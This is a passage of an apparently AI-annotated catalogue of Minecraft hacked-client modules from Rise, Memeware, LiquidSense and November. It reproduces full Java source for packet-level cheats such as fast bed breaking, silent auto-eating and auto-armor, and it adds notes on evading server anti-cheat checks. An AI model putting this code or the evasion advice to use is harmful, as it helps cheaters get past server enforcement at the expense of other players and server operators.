(damagetoblock == 0) {\n                    PacketUtil.send(new C07PacketPlayerDigging(C07PacketPlayerDigging.Action.START_DESTROY_BLOCK, blockToBreak, EnumFacing.DOWN));\n                }\n                mc.thePlayer.swingItem();\n                damagetoblock += hardness;\n                mc.theWorld.sendBlockBreakProgress(player.getEntityId(), blockToBreak, (int) (damagetoblock * 10 - 1));\n                if (damagetoblock >= (PlayerUtil.blockRelativeToPlayer(blockToBreak.getX(), blockToBreak.getY(), blockToBreak.getZ()) instanceof BlockBed ? 1-fastBreakBed.getValue().floatValue() : 1-fastBreakNormal.getValue().floatValue())) {\n                    damagetoblock = 0;\n\n                    PacketUtil.send(new C07PacketPlayerDigging(C07PacketPlayerDigging.Action.STOP_DESTROY_BLOCK, blockToBreak, EnumFacing.DOWN));\n                    mc.playerController.onPlayerDestroyBlock(blockToBreak, EnumFacing.UP);\n                }\n                if (slot != -1) PacketUtil.send(new C09PacketHeldItemChange(getComponent(Slot.class).getItemIndex()));\n\n//                final BlockDamageEvent bdEvent = new BlockDamageEvent(this.mc.thePlayer, this.mc.thePlayer.worldObj, blockToBreak);\n//                Client.INSTANCE.getEventBus().handle(bdEvent);\n//                float xd = SlotUtil.getPlayerRelativeBlockHardness(mc.thePlayer, mc.theWorld, blockToBreak, getComponent(SlotComponent.class).getItemIndex());\n//                usedItem = getComponent(SlotComponent.class).getItemIndex();\n//                if (!mc.thePlayer.onGround) xd *= airMultipalyer.getValue().floatValue();\n//                mc.playerController.curBlockDamageMP += xd;\n//                mc.theWorld.sendBlockBreakProgress(mc.thePlayer.getEntityId(), blockToBreak, (int) (mc.playerController.curBlockDamageMP * 10 - 1));\n//\n//                if (mc.playerController.curBlockDamageMP >= 1) {\n//                    mc.thePlayer.swingItem();\n//                    PacketUtil.send(new C07PacketPlayerDigging(C07PacketPlayerDigging.Action.STOP_DESTROY_BLOCK, blockToBreak, EnumFacing.DOWN));\n//                    mc.playerController.onPlayerDestroyBlock(blockToBreak, EnumFacing.DOWN);\n//                    mc.playerController.curBlockDamageMP = 0;\n//                }\n            }\n        } else {\n            if (breaking) {\n                damagetoblock = 0;\n            }\n            breaking = false;\n        }\n\n        mc.playerController.curBlockDamageMP = damagetoblock;\n    };\n\n    @EventLink\n    public final Listener<AttackEvent> onAttackEvent = event -> {\n        if(whitelistFriendlyBed.getValue() ){\n            attackTicks = 0;\n        } else if (attackTicks < 10) {\n            attackTicks++;\n        }\n\n        if (attackTicks < 10) {\n            breaking = true;\n        } else {\n            breaking = false;\n        }\n\n    };\n\n    @EventLink\n    public final Listener<Render2DEvent> onRender2D = event -> {\n        if (breaking) {\n            final ScaledResolution scaledResolution = event.getScaledResolution();\n            final double y = scaledResolution.getScaledHeight() * 0.80;\n\n            RenderUtil.drawRoundedGradientRect((scaledResolution.getScaledWidth() - (mc.playerController.curBlockDamageMP * 100)) / 2, y, mc.playerController.curBlockDamageMP * 100, 10, 4,\n                    getTheme().getFirstColor(), getTheme().getSecondColor(), true);\n            RenderUtil.color(Color.WHITE);\n        }\n    };\n\n    @EventLink\n    public final Listener<Render3DEvent> onRender3D = event -> {\n        if (breaking) {\n            try {\n                double x1 = blockToBreak.getX() - mc.getRenderManager().renderPosX;\n                double y1 = blockToBreak.getY() - mc.getRenderManager().renderPosY;\n                double z1 = blockToBreak.getZ() - mc.getRenderManager().renderPosZ;\n\n                double x2 = x1 + 1.0;\n                double y2 = y1 + 1.0;\n                double z2 = z1 + 1.0;\n\n                renderBoundingBox(x1, y1, z1, x2, y2, z2);\n\n            } catch (NullPointerException e) {\n\n            }\n        }\n    };\n    private void renderBoundingBox(double x1, double y1, double z1, double x2, double y2, double z2) {\n        GL11.glPushMatrix();\n        GL11.glDisable(GL11.GL_TEXTURE_2D);\n        GL11.glEnable(GL11.GL_LINE_SMOOTH);\n        GL11.glLineWidth(2.0f);\n        GL11.glBegin(GL11.GL_LINES);\n        if (coordsBed == blockToBreak) {\n            GL11.glColor3f(255, 0, 0);\n        } else {\n            GL11.glColor3f(255, 255, 255);\n        }\n\n        GL11.glVertex3d(x1, y1, z1);\n        GL11.glVertex3d(x2, y1, z1);\n\n        GL11.glVertex3d(x2, y1, z1);\n        GL11.glVertex3d(x2, y2, z1);\n\n        GL11.glVertex3d(x2, y2, z1);\n        GL11.glVertex3d(x1, y2, z1);\n\n        GL11.glVertex3d(x1, y2, z1);\n        GL11.glVertex3d(x1, y1, z1);\n\n        GL11.glVertex3d(x1, y1, z1);\n        GL11.glVertex3d(x1, y1, z2);\n\n        GL11.glVertex3d(x2, y1, z1);\n        GL11.glVertex3d(x2, y1, z2);\n\n        GL11.glVertex3d(x2, y2, z1);\n        GL11.glVertex3d(x2, y2, z2);\n\n        GL11.glVertex3d(x1, y2, z1);\n        GL11.glVertex3d(x1, y2, z2);\n\n        GL11.glVertex3d(x1, y1, z2);\n        GL11.glVertex3d(x2, y1, z2);\n\n        GL11.glVertex3d(x2, y1, z2);\n        GL11.glVertex3d(x2, y2, z2);\n\n        GL11.glVertex3d(x2, y2, z2);\n        GL11.glVertex3d(x1, y2, z2);\n\n        GL11.glVertex3d(x1, y2, z2);\n        GL11.glVertex3d(x1, y1, z2);\n\n        GL11.glEnd();\n\n        GL11.glEnable(GL11.GL_TEXTURE_2D);\n        GL11.glDisable(GL11.GL_LINE_SMOOTH);\n        GL11.glPopMatrix();\n    }\n    public void rotate(BlockPos block) {\n        if (!this.rotate.getValue()) return;\n        final Vector2f rotations = RotationUtil.calculate(block);\n        RotationComponent.setRotations(rotations, 10, movementCorrection.getValue() ? MovementFix.NORMAL : MovementFix.OFF);\n        mc.objectMouseOver.setBlockPos(block);\n        mc.objectMouseOver.sideHit = EnumFacing.UP;\n        mc.objectMouseOver.hitVec = new Vec3(Math.random(), 1, Math.random());\n        mc.objectMouseOver.typeOfHit = MovingObjectPosition.MovingObjectType.BLOCK;\n    }\n}\n\n// NOTE (AI): Rise 6.2.4 NewNewBreaker: complete file. C09 tool switch at line ~203 (to best tool) and line ~220 (back to the item index), C07 digging, rotation and movement correction. Demonstrates the component-based Slot API of Rise 6.x.\n",
      "code_source": "Rise 6.2.4, Client-release2/Client/src/main/java/com/alan/clients/module/impl/player/NewNewBreaker.java",
      "vanilla_hook": "PreUpdateEvent for digging; AttackEvent for weapon switch; PacketUtil.send for C09.",
      "anti_cheat_notes": "Rapid tool switching followed by instant block break is the classic nuker signature; Watchdog checks break speed vs tool tier. The module is primarily aimed at bed/obsidian breaking on HCF servers where fast break is expected.",
      "variations": "Rise 6.1.30 ships the same module. KillAura in Rise 6.2.4/6.1.30 also sends C09 pairs (lines ~897-921, ~1018-1019) for weapon switching during attacks."
     },
     {
      "name": "AutoSoup / AutoPot (slot routing)",
      "found_in": [
       "Memeware 7.3",
       "Rise 5.99",
       "Sigma 4.11",
       "November Recode 2.0"
      ],
      "purpose": "Switch to the soup/potion slot, consume, and return to the combat slot, all with C09.",
      "how_it_works": "On low health, find a soup/potion in the hotbar or inventory, send C09 to that slot, send the C08 use packet, then send C09 back to the original slot. Memeware AutoSoup also sends C07 RELEASE_USE_ITEM and calls stopUsingItem to end the eat state cleanly so the server does not keep the player stuck eating.",
      "detailed_code": "// ===== FILE: Memeware 7.3, me/memewaredevs/client/module/combat/AutoSoup.java =====\n\npackage me.memewaredevs.client.module.combat;\n\nimport me.hippo.api.lwjeb.annotation.Handler;\nimport me.memewaredevs.client.util.misc.Timer;\nimport net.minecraft.init.Items;\nimport net.minecraft.item.ItemSoup;\nimport net.minecraft.item.ItemStack;\nimport net.minecraft.network.play.client.C07PacketPlayerDigging;\nimport net.minecraft.network.play.client.C08PacketPlayerBlockPlacement;\nimport net.minecraft.network.play.client.C09PacketHeldItemChange;\nimport net.minecraft.util.BlockPos;\nimport net.minecraft.util.EnumFacing;\nimport me.memewaredevs.client.event.events.UpdateEvent;\nimport me.memewaredevs.client.module.Module;\n\nimport java.util.function.Consumer;\n\npublic class AutoSoup extends Module {\n    private final Timer time = new Timer();\n\n    public AutoSoup() {\n        super(\"Auto Soup\", 0, Module.Category.COMBAT);\n    }\n\n    @Handler\n    public Consumer<UpdateEvent> update = e -> {\n        if (mc.thePlayer.getHealth() < mc.thePlayer.getMaxHealth() - 10.0f && time.delay(50.0f)) {\n            if (hotbarHasSoups()) {\n                useSoup();\n            } else {\n                getSoupFromInventory();\n                time.reset();\n            }\n        }\n    };\n\n    private boolean hotbarHasSoups() {\n        for (int index = 36; index < 45; ++index) {\n            final ItemStack itemStack = mc.thePlayer.inventoryContainer.getSlot(index).getStack();\n            if (itemStack == null || !(itemStack.getItem() instanceof ItemSoup)) {\n                continue;\n            }\n            return true;\n        }\n        return false;\n    }\n\n    private void getSoupFromInventory() {\n        int index;\n        ItemStack itemStack;\n        int item = -1;\n        boolean found = false;\n        for (index = 36; index >= 9; --index) {\n            itemStack = mc.thePlayer.inventoryContainer.getSlot(index).getStack();\n            if (itemStack == null || !(itemStack.getItem() instanceof ItemSoup)) {\n                continue;\n            }\n            item = index;\n            found = true;\n            break;\n        }\n        if (found) {\n            for (index = 0; index < 45; ++index) {\n                itemStack = mc.thePlayer.inventoryContainer.getSlot(index).getStack();\n                if (itemStack == null) {\n                    continue;\n                }\n                if (itemStack.getItem() != Items.bowl || index < 36 || index > 44) {\n                    break;\n                }\n                mc.playerController.windowClick(0, index, 0, 0, mc.thePlayer);\n                mc.playerController.windowClick(0, -999, 0, 0, mc.thePlayer);\n                break;\n            }\n            mc.playerController.windowClick(0, item, 0, 1, mc.thePlayer);\n        }\n    }\n\n    private void useSoup() {\n        int index;\n        ItemStack itemStack;\n        int item = -1;\n        boolean found = false;\n        for (index = 36; index < 45; ++index) {\n            itemStack = mc.thePlayer.inventoryContainer.getSlot(index).getStack();\n            if (itemStack == null || !(itemStack.getItem() instanceof ItemSoup)) {\n                continue;\n            }\n            item = index;\n            found = true;\n            break;\n        }\n        if (found) {\n            for (index = 0; index < 45; ++index) {\n                itemStack = mc.thePlayer.inventoryContainer.getSlot(index).getStack();\n                if (itemStack == null || itemStack.getItem() != Items.bowl || index < 36 || index > 44) {\n                    continue;\n                }\n                mc.playerController.windowClick(0, index, 0, 0, mc.thePlayer);\n                mc.playerController.windowClick(0, -999, 0, 0, mc.thePlayer);\n            }\n            final int slot = mc.thePlayer.inventory.currentItem;\n            mc.thePlayer.inventory.currentItem = item - 36;\n            mc.playerController.updateController();\n            mc.thePlayer.sendQueue\n                    .addToSendQueue(new C08PacketPlayerBlockPlacement(mc.thePlayer.inventory.getCurrentItem()));\n            mc.thePlayer.sendQueue\n                    .addToSendQueue(new C09PacketHeldItemChange(mc.thePlayer.inventory.currentItem));\n            mc.thePlayer.sendQueue.addToSendQueue(new C07PacketPlayerDigging(\n                    C07PacketPlayerDigging.Action.RELEASE_USE_ITEM, BlockPos.ORIGIN, EnumFacing.DOWN));\n            mc.thePlayer.stopUsingItem();\n            mc.thePlayer.inventory.currentItem = slot;\n        }\n    }\n}\n\n// NOTE (AI): Memeware 7.3 AutoSoup: complete file. C09 to the soup slot, C08 to eat (line ~107), C09 back to the original slot (line ~109), C07 release + stopUsingItem to close the use state.\n",
      "code_source": "Memeware 7.3, me/memewaredevs/client/module/combat/AutoSoup.java",
      "vanilla_hook": "UpdateEvent; direct sendQueue.addToSendQueue for C09/C08/C07.",
      "anti_cheat_notes": "Soup servers expect rapid eating, so the switch-eat-switch pattern is usually under the radar there; on vanilla combat servers the instant eat is flagged by consumption-timer checks.",
      "variations": "Memeware AutoPotion mirrors it for splash potions; Rise 5.99 AutoPot/AutoSoup/AutoGap/AutoHead send C09 via PacketUtil; Sigma AutoPot/AutoSoup/AutoGApple/AutoEat do the same on their event bus. November Recode 2.0's AutoPotModule sends C09 to the potion slot, fires the C08 use, waits for S1DPacketEntityEffect, then calls InventoryManager.sync() to restore the combat slot."
     },
     {
      "name": "InventoryManager",
      "found_in": [
       "November Recode 2.0"
      ],
      "purpose": "Track the server-visible hotbar slot from the C09 and S09 streams and re-sync the slot when modules desync it.",
      "how_it_works": "EventPacket.Out records the slot from every outgoing C09; EventPacket.In records it from every S09 echo. sync() re-sends C09 with the real currentItem when the tracked slot diverges, which is how AutoPot and AutoPlay restore the hotbar after their silent switches.",
      "detailed_code": "// ===== FILE: November Recode 2.0, management/inventory/InventoryManager.java =====\n/* November.lol © 2023 */\npackage lol.november.management.inventory;\n\nimport lol.november.November;\nimport lol.november.listener.bus.Listener;\nimport lol.november.listener.bus.Subscribe;\nimport lol.november.listener.event.net.EventPacket;\nimport net.minecraft.client.Minecraft;\nimport net.minecraft.item.ItemStack;\nimport net.minecraft.network.play.client.C09PacketHeldItemChange;\nimport net.minecraft.network.play.server.S09PacketHeldItemChange;\n\n/**\n * @author Gavin\n * @since 2.0.0\n */\npublic class InventoryManager {\n\n  /**\n   * The {@link Minecraft} game instance\n   */\n  private final Minecraft mc = Minecraft.getMinecraft();\n\n  private int slot = -1;\n\n  public InventoryManager() {\n    November.bus().subscribe(this);\n  }\n\n  @Subscribe\n  private final Listener<EventPacket.Out> packetOut = event -> {\n    if (event.get() instanceof C09PacketHeldItemChange packet) {\n      slot = packet.getSlotId();\n    }\n  };\n\n  @Subscribe\n  private final Listener<EventPacket.In> packetIn = event -> {\n    if (event.get() instanceof S09PacketHeldItemChange packet) {\n      slot = packet.getHeldItemHotbarIndex();\n    }\n  };\n\n  public int slot() {\n    if (slot == -1) return slot = mc.thePlayer.inventory.currentItem;\n    return slot;\n  }\n\n  public void sync() {\n    if (slot != mc.thePlayer.inventory.currentItem) {\n      mc.thePlayer.sendQueue.addToSendQueue(\n        new C09PacketHeldItemChange(mc.thePlayer.inventory.currentItem)\n      );\n    }\n  }\n\n  public ItemStack itemStack() {\n    return mc.thePlayer.inventory.getStackInSlot(slot());\n  }\n}\n\n// NOTE (AI): The packetOut listener records the slot from every outgoing C09, the packetIn listener from every S09 echo. sync() re-sends C09 with the real currentItem when the tracked slot diverges, which is how AutoPot and AutoPlay restore the hotbar after silent switches.\n",
      "code_source": "November Recode 2.0, management/inventory/InventoryManager.java",
      "vanilla_hook": "EventPacket.Out (C09), EventPacket.In (S09).",
      "anti_cheat_notes": "Keeping the tracked slot equal to the real hotbar slot prevents slot-consistency checks from seeing a phantom held item between a module switch and its restore.",
      "variations": "LiquidSense Dev has no equivalent singleton; its Scaffold and Tower track the slot locally."
     },
     {
      "name": "AutoHead",
      "found_in": [
       "LiquidSense Dev"
      ],
      "purpose": "Packet-eat golden heads: C09 to the head slot, the C08 use, C09 back to the combat slot.",
      "how_it_works": "Below the health threshold with no mouse held, find a head (id 397) in the hotbar, then send the C09/C08/C09 triple with a delay gate; golden apples use the key-binding path instead.",
      "detailed_code": "// ===== FILE: LiquidSense Dev, me/AquaVit/liquidSense/modules/combat/AutoHead.java =====\npackage me.AquaVit.liquidSense.modules.combat;\n\nimport net.ccbluex.liquidbounce.event.EventTarget;\nimport net.ccbluex.liquidbounce.features.module.Module;\nimport net.ccbluex.liquidbounce.features.module.ModuleCategory;\nimport net.ccbluex.liquidbounce.features.module.ModuleInfo;\nimport net.ccbluex.liquidbounce.value.BoolValue;\nimport net.ccbluex.liquidbounce.value.IntegerValue;\nimport net.minecraft.client.entity.EntityPlayerSP;\nimport net.minecraft.client.settings.KeyBinding;\nimport net.minecraft.entity.player.InventoryPlayer;\nimport net.minecraft.item.Item;\nimport net.minecraft.item.ItemStack;\nimport net.minecraft.network.play.client.C08PacketPlayerBlockPlacement;\nimport net.minecraft.network.play.client.C09PacketHeldItemChange;\nimport net.minecraft.potion.Potion;\nimport net.ccbluex.liquidbounce.event.MotionEvent;\nimport net.ccbluex.liquidbounce.utils.timer.TimeUtils;\nimport net.ccbluex.liquidbounce.value.FloatValue;\nimport org.lwjgl.input.Mouse;\n\nimport java.util.Random;\n\n@ModuleInfo(name = \"AutoHead\", description = \"AutoHead\", category = ModuleCategory.COMBAT)\npublic class AutoHead extends Module {\n    private boolean eatingApple;\n    private int switched = -1;\n    public static boolean doingStuff = false;\n    private final TimeUtils timer = new TimeUtils();\n    private final BoolValue eatHeads = new BoolValue(\"EatHead\", true);\n    private final BoolValue eatApples = new BoolValue(\"EatApples\", true);\n    private final FloatValue health = new FloatValue(\"Health\", 10.0F, 1.0F, 20.0F);\n    private final IntegerValue delay = new IntegerValue(\"Delay\", 750, 100, 2000);\n\n    @Override\n    public void onEnable() {\n        this.eatingApple = doingStuff = false;\n        switched = -1;\n        timer.reset();\n        super.onEnable();\n    }\n    @Override\n    public void onDisable() {\n        doingStuff = false;\n        if (eatingApple) {\n            repairItemPress();\n            repairItemSwitch();\n        }\n        super.onDisable();\n    }\n\n    private void repairItemPress() {\n        if (mc.gameSettings != null) {\n            final KeyBinding keyBindUseItem = mc.gameSettings.keyBindUseItem;\n            if (keyBindUseItem != null) keyBindUseItem.pressed = false;\n        }\n    }\n\n\n    @EventTarget\n    public void onUpdate(MotionEvent event) {\n        if (mc.thePlayer == null) return;\n        final InventoryPlayer inventory = mc.thePlayer.inventory;\n        if (inventory == null) return;\n        doingStuff = false;\n        if (!Mouse.isButtonDown(0) && !Mouse.isButtonDown(1)) {\n            final KeyBinding useItem = mc.gameSettings.keyBindUseItem;\n\n            if (!this.timer.hasReached(delay.get())) {\n                eatingApple = false;\n                repairItemPress();\n                repairItemSwitch();\n                return;\n            }\n\n            if (mc.thePlayer.capabilities.isCreativeMode || mc.thePlayer.isPotionActive(Potion.regeneration) ||mc.thePlayer.getHealth() >= health.get()) {\n                this.timer.reset();\n                if (eatingApple) {\n                    eatingApple = false;\n                    repairItemPress();\n                    repairItemSwitch();\n                }\n                return;\n            }\n\n            for (int i = 0; i < 2; i++) {\n                final boolean doEatHeads = i != 0;\n\n                if (doEatHeads) {\n                    if (!this.eatHeads.get()) continue;\n                } else {\n                    if (!this.eatApples.get()) {\n                        eatingApple = false;\n                        repairItemPress();\n                        repairItemSwitch();\n                        continue;\n                    }\n                }\n\n                int slot;\n\n                if (doEatHeads) {\n                    slot = this.getItemFromHotbar(397);\n                } else {\n                    slot = this.getItemFromHotbar(322);\n                }\n\n                if (slot == -1) continue;\n\n                final int tempSlot = inventory.currentItem;\n\n                doingStuff = true;\n                if (doEatHeads) {\n                    mc.thePlayer.sendQueue.addToSendQueue(new C09PacketHeldItemChange(slot));\n                    mc.thePlayer.sendQueue.addToSendQueue(new C08PacketPlayerBlockPlacement(inventory.getCurrentItem()));\n                    mc.thePlayer.sendQueue.addToSendQueue(new C09PacketHeldItemChange(tempSlot));\n                    timer.reset();\n                } else {\n                    inventory.currentItem = slot;\n                    useItem.pressed = true;\n                    if (eatingApple) continue; // no message spam\n                    eatingApple = true;\n                    this.switched = tempSlot;\n                }\n\n\n            }\n        }\n    }\n\n    private void repairItemSwitch() {\n        final EntityPlayerSP p = mc.thePlayer;\n        if (p == null) return;\n        final InventoryPlayer inventory = p.inventory;\n        if (inventory == null) return;\n        int switched = this.switched;\n        if (switched == -1) return;\n        inventory.currentItem = switched;\n        switched = -1;\n        this.switched = switched;\n    }\n\n    private int getItemFromHotbar(final int id) {\n        for (int i = 0; i < 9; i++) {\n            if (mc.thePlayer.inventory.mainInventory[i] != null) {\n                final ItemStack is = mc.thePlayer.inventory.mainInventory[i];\n                final Item item = is.getItem();\n                if (Item.getIdFromItem(item) == id) {\n                    return i;\n                }\n            }\n        }\n        return -1;\n    }\n\n}\n\n// NOTE (AI): The head path is the C09 + C08 + C09 triple: switch to the head slot, send the item-use C08 with the now-held stack, switch back. The apple path instead presses the real use-item key and restores the slot on release.\n",
      "code_source": "LiquidSense Dev, me/AquaVit/liquidSense/modules/combat/AutoHead.java",
      "vanilla_hook": "MotionEvent; C09 pair via sendQueue.addToSendQueue.",
      "anti_cheat_notes": "The switch pair is instant, but the consume rate is the flag surface; the delay gate keeps it near human eat speed.",
      "variations": "Same file backs the C08 entry; November's AutoPot runs the same switch-use-restore shape through InventoryManager."
     },
     {
      "name": "AutoArmor",
      "found_in": [
       "LiquidSense Dev"
      ],
      "purpose": "Switch to the armor-hotbar slot with C09 for the C08 equip placement, then switch back.",
      "how_it_works": "move() with a hotbar item sends C09(item), C08(placement with the slot's stack), C09(current); non-hotbar items use the window-click path. Gated by InventoryUtils.CLICK_TIMER and a random delay.",
      "detailed_code": "// ===== FILE: LiquidSense Dev, net/ccbluex/liquidbounce/features/module/modules/combat/AutoArmor.java =====\n/*\n * LiquidBounce Hacked Client\n * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge.\n * https://github.com/CCBlueX/LiquidBounce/\n */\npackage net.ccbluex.liquidbounce.features.module.modules.combat;\n\nimport net.ccbluex.liquidbounce.event.EventTarget;\nimport net.ccbluex.liquidbounce.event.Render3DEvent;\nimport net.ccbluex.liquidbounce.features.module.Module;\nimport net.ccbluex.liquidbounce.features.module.ModuleCategory;\nimport net.ccbluex.liquidbounce.features.module.ModuleInfo;\nimport net.ccbluex.liquidbounce.injection.implementations.IItemStack;\nimport net.ccbluex.liquidbounce.utils.InventoryUtils;\nimport net.ccbluex.liquidbounce.utils.MovementUtils;\nimport net.ccbluex.liquidbounce.utils.item.ArmorComparator;\nimport net.ccbluex.liquidbounce.utils.item.ArmorPiece;\nimport net.ccbluex.liquidbounce.utils.timer.TimeUtils;\nimport net.ccbluex.liquidbounce.value.BoolValue;\nimport net.ccbluex.liquidbounce.value.IntegerValue;\nimport net.minecraft.client.gui.inventory.GuiInventory;\nimport net.minecraft.item.ItemArmor;\nimport net.minecraft.item.ItemStack;\nimport net.minecraft.network.play.client.C08PacketPlayerBlockPlacement;\nimport net.minecraft.network.play.client.C09PacketHeldItemChange;\nimport net.minecraft.network.play.client.C0DPacketCloseWindow;\nimport net.minecraft.network.play.client.C16PacketClientStatus;\n\nimport java.util.List;\nimport java.util.Map;\nimport java.util.stream.Collectors;\nimport java.util.stream.IntStream;\n\n@ModuleInfo(name = \"AutoArmor\", description = \"Automatically equips the best armor in your inventory.\", category = ModuleCategory.COMBAT)\npublic class AutoArmor extends Module {\n\n    public static final ArmorComparator ARMOR_COMPARATOR = new ArmorComparator();\n\n    private final IntegerValue maxDelayValue = new IntegerValue(\"MaxDelay\", 200, 0, 400) {\n        @Override\n        protected void onChanged(final Integer oldValue, final Integer newValue) {\n            final int minDelay = minDelayValue.get();\n\n            if (minDelay > newValue) set(minDelay);\n        }\n    };\n    private final IntegerValue minDelayValue = new IntegerValue(\"MinDelay\", 100, 0, 400) {\n\n        @Override\n        protected void onChanged(final Integer oldValue, final Integer newValue) {\n            final int maxDelay = maxDelayValue.get();\n\n            if (maxDelay < newValue) set(maxDelay);\n        }\n    };\n    private final BoolValue invOpenValue = new BoolValue(\"InvOpen\", false);\n    private final BoolValue simulateInventory = new BoolValue(\"SimulateInventory\", true);\n    private final BoolValue noMoveValue = new BoolValue(\"NoMove\", false);\n    private final IntegerValue itemDelayValue = new IntegerValue(\"ItemDelay\", 0, 0, 5000);\n    private final BoolValue hotbarValue = new BoolValue(\"Hotbar\", true);\n\n    private long delay;\n\n    @EventTarget\n    public void onRender3D(final Render3DEvent event) {\n        if ((mc.thePlayer.capabilities.allowFlying && mc.thePlayer.capabilities.isFlying) || !InventoryUtils.CLICK_TIMER.hasTimePassed(delay) ||\n                (mc.thePlayer.openContainer != null && mc.thePlayer.openContainer.windowId != 0))\n            return;\n\n        // Find best armor\n        final Map<Integer, List<ArmorPiece>> armorPieces = IntStream.range(0, 36).filter(i -> {\n                    final ItemStack itemStack = mc.thePlayer.inventory.getStackInSlot(i);\n\n                    return itemStack != null && itemStack.getItem() instanceof ItemArmor && (i < 9 || System.currentTimeMillis() - ((IItemStack) (Object) itemStack).getItemDelay() >= itemDelayValue.get());\n                })\n                .mapToObj(i -> new ArmorPiece(mc.thePlayer.inventory.getStackInSlot(i), i))\n                .collect(Collectors.groupingBy(ArmorPiece::getArmorType));\n\n        final ArmorPiece[] bestArmor = new ArmorPiece[4];\n\n        for (final Map.Entry<Integer, List<ArmorPiece>> armorEntry : armorPieces.entrySet()) {\n            bestArmor[armorEntry.getKey()] = armorEntry.getValue().stream()\n                    .max(ARMOR_COMPARATOR).orElse(null);\n        }\n\n        // Swap armor\n        for (int i = 0; i < 4; i++) {\n            final ArmorPiece armorPiece = bestArmor[i];\n\n            if (armorPiece == null)\n                continue;\n\n            int armorSlot = 3 - i;\n\n            final ArmorPiece oldArmor = new ArmorPiece(mc.thePlayer.inventory.armorItemInSlot(armorSlot), -1);\n\n            if (oldArmor.getItemStack() == null || !(oldArmor.getItemStack().getItem() instanceof ItemArmor) ||\n                    ARMOR_COMPARATOR.compare(oldArmor, armorPiece) < 0) {\n                if (oldArmor.getItemStack() != null && move(8 - armorSlot, true))\n                    return;\n\n                if (move(armorPiece.getSlot(), false))\n                    return;\n            }\n        }\n    }\n\n    /**\n     * Shift+Left clicks the specified item\n     *\n     * @param item        Slot of the item to click\n     * @param isArmorSlot\n     * @return True if it is unable to move the item\n     */\n    private boolean move(int item, boolean isArmorSlot) {\n        if (!isArmorSlot && item < 9 && hotbarValue.get()) {\n            mc.getNetHandler().addToSendQueue(new C09PacketHeldItemChange(item));\n            mc.getNetHandler().addToSendQueue(new C08PacketPlayerBlockPlacement(mc.thePlayer.inventoryContainer.getSlot(item).getStack()));\n            mc.getNetHandler().addToSendQueue(new C09PacketHeldItemChange(mc.thePlayer.inventory.currentItem));\n\n            delay = TimeUtils.randomDelay(minDelayValue.get(), maxDelayValue.get());\n\n            return true;\n        } else if (!(noMoveValue.get() && MovementUtils.isMoving()) && (!invOpenValue.get() || mc.currentScreen instanceof GuiInventory) && item != -1) {\n            final boolean openInventory = simulateInventory.get() && !(mc.currentScreen instanceof GuiInventory);\n\n            if (openInventory)\n                mc.getNetHandler().addToSendQueue(new C16PacketClientStatus(C16PacketClientStatus.EnumState.OPEN_INVENTORY_ACHIEVEMENT));\n\n            mc.playerController.windowClick(mc.thePlayer.inventoryContainer.windowId, isArmorSlot ? item : (item < 9 ? item + 36 : item), 0, 1, mc.thePlayer);\n\n            delay = TimeUtils.randomDelay(minDelayValue.get(), maxDelayValue.get());\n\n            if (openInventory)\n                mc.getNetHandler().addToSendQueue(new C0DPacketCloseWindow());\n\n            return true;\n        }\n        \n        return false;\n    }\n\n}\n\n// NOTE (AI): The move() method is the C08 and C09 hit: for hotbar armor it sends C09 to the item slot, the C08 placement with the slot's stack (which equips the armor server-side), then C09 back to the current slot.\n",
      "code_source": "LiquidSense Dev, net/ccbluex/liquidbounce/features/module/modules/combat/AutoArmor.java",
      "vanilla_hook": "Render3DEvent; C09 pair via getNetHandler().addToSendQueue.",
      "anti_cheat_notes": "The switch pair is invisible to slot checks because the equip placement follows the switch in the same tick and the restore is immediate.",
      "variations": "Same file backs the C08 entry."
     },
     {
      "name": "AutoADL",
      "found_in": [
       "LiquidSense Dev"
      ],
      "purpose": "Silently flash an iron sword slot that carries a single Sharpness II enchantment and a custom lore, using a C09 pair.",
      "how_it_works": "Every update, scan the hotbar NBT for an iron sword with exactly one enchantment (id 16, level 2) and a display Lore tag, then send C09(slot) followed by C09(current) back-to-back.",
      "detailed_code": "// ===== FILE: LiquidSense Dev, me/AquaVit/liquidSense/modules/misc/AutoADL.java =====\npackage me.AquaVit.liquidSense.modules.misc;\n\nimport net.ccbluex.liquidbounce.event.EventTarget;\nimport net.ccbluex.liquidbounce.event.UpdateEvent;\nimport net.ccbluex.liquidbounce.features.module.Module;\nimport net.ccbluex.liquidbounce.features.module.ModuleCategory;\nimport net.ccbluex.liquidbounce.features.module.ModuleInfo;\nimport net.minecraft.init.Items;\nimport net.minecraft.item.ItemStack;\nimport net.minecraft.nbt.NBTTagCompound;\nimport net.minecraft.network.play.client.C09PacketHeldItemChange;\n\n@ModuleInfo(name = \"AutoADL\", description = \"go fuck yourself\", category = ModuleCategory.MISC)\npublic class AutoADL extends Module {\n\n    @EventTarget\n    public void onUpdate(UpdateEvent e) {\n        ItemStack[] items = getHotbarItems();\n        for (int i = 0; i < items.length; i++) {\n            ItemStack item = items[i];\n            if (item != null && item.getItem() == Items.iron_sword && item.getEnchantmentTagList() != null && item.getEnchantmentTagList().tagCount() == 1) {\n                NBTTagCompound enchantment = (NBTTagCompound) item.getEnchantmentTagList().get(0);\n                if ((enchantment.getInteger(\"id\") == 16 && enchantment.getInteger(\"lvl\") == 2)) {\n                    if (item.hasDisplayName()) {\n                        if (item.getTagCompound().getCompoundTag(\"display\").getTag(\"Lore\") != null) {\n                            mc.thePlayer.sendQueue.addToSendQueue(new C09PacketHeldItemChange(i));\n                            mc.thePlayer.sendQueue.addToSendQueue(new C09PacketHeldItemChange(mc.thePlayer.inventory.currentItem));\n                            System.out.println(\"send packet\" + enchantment);\n                        }\n                    }\n                }\n            }\n        }\n    }\n\n    private ItemStack[] getHotbarItems() {\n        ItemStack[] results = new ItemStack[9];\n        for (int i = 0; i < 9; i++) {\n            results[i] = mc.thePlayer.inventory.mainInventory[i];\n        }\n        return results;\n    }\n}\n\n// NOTE (AI): The C09 pair is sent back-to-back to the flagged sword slot and back to the current slot every update while the sword matches the NBT filter (single enchantment, Sharpness II id 16 level 2, custom lore). The filter targets a specific legacy server item glitch.\n",
      "code_source": "LiquidSense Dev, me/AquaVit/liquidSense/modules/misc/AutoADL.java",
      "vanilla_hook": "UpdateEvent; sendQueue.addToSendQueue.",
      "anti_cheat_notes": "The module is a glitch trigger aimed at a specific server item state; the rapid slot flash is otherwise a slot-consistency tell.",
      "variations": "Only LiquidSense Dev in the corpus; nothing in the eight original clients matches this niche."
     },
     {
      "name": "NoFall (MLG)",
      "found_in": [
       "LiquidSense Dev"
      ],
      "purpose": "MLG save: switch to a water bucket or web block with C09 when a fall would miss the ground, place it, then switch back.",
